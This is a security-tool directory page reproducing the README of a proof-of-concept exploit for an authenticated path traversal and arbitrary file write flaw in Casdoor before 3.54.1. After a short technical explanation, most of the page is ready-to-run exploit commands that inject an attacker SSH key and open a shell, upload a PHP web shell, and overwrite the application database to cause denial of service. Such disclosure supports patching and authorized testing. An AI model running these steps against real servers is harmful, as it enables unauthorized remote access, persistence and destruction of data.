Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-6815 — Proof of Concept (PoC) exploit for CVE-2026-6815: Authenticated Path Traversal & Arbitrary File Write in Casdoor (< 3.54.1) leading to RCE/DoS. | Kitploit
Tools/GitHubGitHub/danilo-dellorco/cve-2026-6815
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubdanilo-dellorco/cve-2026-6815

CVE-2026-6815

Proof of Concept (PoC) exploit for CVE-2026-6815: Authenticated Path Traversal & Arbitrary File Write in Casdoor (< 3.54.1) leading to RCE/DoS.

View Repository
22 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-6815 PoC/Exploit: Casdoor <3.54.1 Path Traversal & Arbitrary File Write (Authenticated)

This repository contains a Proof of Concept (PoC) exploit for CVE-2026-6815, an arbitrary file write and path traversal vulnerability in Casdoor.

The vulnerability has been fixed in version 3.54.1.

Requirements

The attacker must be authenticated to the Casdoor instance with admin privileges or equivalent user having access to create and/or edit storage providers.

Impact

  • Remote Code Execution (RCE): By writing to sensitive locations like .ssh/authorized_keys, crontabs, or webroots.
  • Denial of Service (DoS): Overwriting application databases (casdoor.db) or core binaries with arbitrary files immediately stopping the application.

Technical Details

Casdoor allows administrators to configure storage providers. The Local File System provider fails to properly sanitize the pathPrefix configuration and the fullFilePath parameter during resource uploads.

By using directory traversal sequences (../), an authenticated administrator can escape the dedicated storage directory and write files anywhere the Casdoor process has permissions.

The vulnerability stems from insufficient path validation in:

  • object/provider.go: No validation on pathPrefix during creation/update.
  • storage/local_file_system.go: The GetFullPath method does not verify if the resolved path remains within the intended sandbox.

Usage

  1. Install dependencies:

    root@kitploit:~
    pip install -r requirements.txt
    
  2. Run the exploit:

    root@kitploit:~
    python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
    

Usage Examples

1. SSH Key Injection for RCE

Write an attacker-controlled public key to the authorized_keys file of the casdoor user to gain SSH access.

Generate the ssh-key:

root@kitploit:~
ssh-keygen -f casdoor_rce

Overwrite authorized_keys with the generated public key:

root@kitploit:~
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys

Obtain ssh shell on the remote host using the private key:

root@kitploit:~
ssh -i ./casdoor_rce casdoor@target

2. Persistent DoS (Database Corruption)

Overwrite the application's local database file (e.g., casdoor.db) to cause a denial of service.

root@kitploit:~
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db

3. Web Shell Upload (Secondary Webroot)

If the server is hosting a secondary web server (e.g., Apache/Nginx) on the same filesystem, write a web shell into its document root.

root@kitploit:~
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php

4. Custom Organization and Application

If you have administrative credentials for a specific organization and application (other than the defaults built-in and app-built-in), specify them using --orgname and --appname.

root@kitploit:~
python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt

References

  • CERT/CC Vulnerability Note VU#937808
  • CVE-2026-6815 on CVE.org
  • Red Hat Security Advisory: CVE-2026-6815

Disclaimer

This software is for educational and authorized security testing purposes only. The author is not responsible for any misuse of this information.

Author

Vulnerability discovered and PoC developed by Danilo Dell'Orco (sixpain).

Download Tool